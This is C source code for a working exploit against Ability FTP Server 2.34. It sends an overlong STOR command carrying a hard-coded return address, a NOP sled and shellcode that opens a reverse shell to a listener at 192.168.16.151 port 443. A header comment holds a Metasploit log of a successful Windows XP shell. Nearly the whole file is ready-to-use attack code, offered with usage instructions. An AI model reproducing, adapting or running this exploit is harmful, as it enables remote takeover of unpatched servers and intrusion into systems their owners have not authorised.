/* 
Ability FTP 2.34 STOR Buffer Overflow Exploit by 1N3 @ CrowdShield
Reverse shell payload 192.168.16.151 port 443
https://crowdshield.com

NOTE: Replace shellcode and return address for other IP's/OS platforms...

msf exploit(handler) > run

[*] Started reverse handler on 192.168.16.151:443 
[*] Starting the payload handler...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.17.17
[*] Command shell session 4 opened (192.168.16.151:443 -> 192.168.17.17:1087) at 2014-01-01 12:02:29 -0500

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\abilitywebserver>
*/

#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

// JMP ESP USER32.DLL WinXPSP2 ENG
// 77D8AF0A OR \x0a\xaf\xd8\x77

char returnaddr[]="\x0a\xaf\xd8\x77";
char noop_sled[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char shellcode[]="\xdb\xdd\xd9\x74\x24\xf4\x58\xba\x45\x17\xd4\x0c\x2b\xc9\xb1\x49\x31\x50\x19\x03\x50\x19\x83\xc0\x04\xa7\xe2\x28\xe4\xae\x0d\xd1\xf5\xd0\x84\x34\xc4\xc2\xf3\x3d\x75\xd2\x70\x13\x76\x99\xd5\x80\x0d\xef\xf1\xa7\xa6\x45\x24\x89\x37\x68\xe8\x45\xfb\xeb\x94\x97\x28\xcb\xa5\x57\x3d\x0a\xe1\x8a\xce\x5e\xba\xc1\x7d\x4e\xcf\x94\xbd\x6f\x1f\x93\xfe\x17\x1a\x64\x8a\xad\x25\xb5\x23\xba\x6e\x2d\x4f\xe4\x4e\x4c\x9c\xf7\xb3\x07\xa9\xc3\x40\x96\x7b\x1a\xa8\xa8\x43\xf0\x97\x04\x4e\x09\xdf\xa3\xb1\x7c\x2b\xd0\x4c\x86\xe8\xaa\x8a\x03\xed\x0d\x58\xb3\xd5\xac\x8d\x25\x9d\xa3\x7a\x22\xf9\xa7\x7d\xe7\x71\xd3\xf6\x06\x56\x55\x4c\x2c\x72\x3d\x16\x4d\x23\x9b\xf9\x72\x33\x43\xa5\xd6\x3f\x66\xb2\x60\x62\xef\x77\x5e\x9d\xef\x1f\xe9\xee\xdd\x80\x41\x79\x6e\x48\x4f\x7e\x91\x63\x37\x10\x6c\x8c\x47\x38\xab\xd8\x17\x52\x1a\x61\xfc\xa2\xa3\xb4\x52\xf3\x0b\x67\x12\xa3\xeb\xd7\xfa\xa9\xe3\x08\x1a\xd2\x29\x21\xb0\x28\xba\x8e\xec\x23\xad\x67\xee\x43\xd0\xcc\x67\xa5\xb8\x22\x21\x7d\x55\xda\x68\xf5\xc4\x23\xa7\x73\xc6\xa8\x4b\x83\x89\x58\x26\x97\x7e\xa9\x7d\xc5\x29\xb6\xa8\x60\xd6\x22\x56\x23\x81\xda\x54\x12\xe5\x44\xa7\x71\x7d\x4c\x3d\x3a\xea\xb1\xd1\xba\xea\xe7\xbb\xba\x82\x5f\x9f\xe8\xb7\x9f\x0a\x9d\x6b\x0a\xb4\xf4\xd8\x9d\xdc\xfa\x07\xe9\x43\x04\x62\xeb\xb8\xd3\x4b\x69\xc8\x51\xb8\xb1";

// CONNECT TO FTP SERVER
int conn(char *host, u_short port)
{
    int sock = 0;
    struct hostent *hp;
    WSADATA wsa;
    struct sockaddr_in sa;

    WSAStartup(MAKEWORD(2,0), &wsa);
    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
        printf("x--==[ gethostbyname() error!\n"); exit(0);
    }
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0)      {
        printf("x--==[ Socket\n");
        exit(0);
        }
    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
        {printf("x--==[ Connect() error!\n");
        exit(0);
          }
    printf("x--=[ Connected to %s\n", host);
    return sock;
}

// LOGIN AND SEND BUFFER TO FTP SERVER
void login(int sock, char *login, char *pass)
{

char ubuf[1000], pbuf[1000], rc[200];
int i;
char buffer[2000], final_buffer[2000];
      memset(buffer, 0x00, 2000); // CLEAR OUT BUFFER 
      memset(buffer, 0x41, 965); // ADD 0x41 (A's) * 965 TO FILL UP INITIAL BUFFER 
      memcpy(buffer+strlen(buffer), &returnaddr, sizeof(returnaddr)); // RETURN ADDRESS
      memcpy(buffer+strlen(buffer), &noop_sled, sizeof(noop_sled)); // COPY NOOP SLED
      memcpy(buffer+strlen(buffer), &shellcode, sizeof(shellcode)); // COPY SHELLCODE TO BUFFER

      sprintf(final_buffer, "STOR %s\r\n", buffer); // COPY STOR COMMAND TO BUFFER
      // puts(final_buffer);

      if ( strlen(pass) >= 100 )  { printf("2 long password!\n"); exit(0); }
      if ( strlen(login) >= 100 ) { printf("2 long login!\n"); exit(0);    }

      Sleep(2000);
      printf("x--=[ Sending USER...");
      sprintf(ubuf, "USER %s\r\n", login);
      send(sock, ubuf, strlen(ubuf), 0);
      printf("OK!\n");

      Sleep(2000);
      printf("x--=[ Sending PASS...");
      sprintf(pbuf, "PASS %s\r\n", pass);
      send(sock, pbuf, strlen(pbuf), 0);
      recv(sock, rc, 200, 0);
      if ( strstr(rc, "530")) {printf("Bad password!\n"); exit(0); }
      printf("OK!\n");

      Sleep(2000);
      printf("x--=[ Sending exploit...");
      send(sock, final_buffer, strlen(final_buffer), 0); // FINAL BUFFER TO SEND
      Sleep(2000);
      printf("OK!\n");
      printf("x--=[ Wait for reverse shell port 443 TCP...\n");

      Sleep(4000);
      printf("x--=[ Done!\n\n");

}

int main(int argc, char **argv)
{
    int sock = 0;
    int data;
    printf("\n--==[ Ability FTP Server <= 2.34 Exploit ]==--\n");
    printf("--==[ by 1N3 @ CrowdShield ]==--\n--==[ https://crowdshield.com ]==--\n");

    if ( argc < 4 ) { printf("--==[ Usage: ability_ftp_server_exploit.exe <host> <username> <password>\n\n"); exit(0); }

    sock = conn(argv[1], 21);
    login(sock, argv[2], argv[3]);
    closesocket(sock);
    Sleep(2000);

    return 0;
}
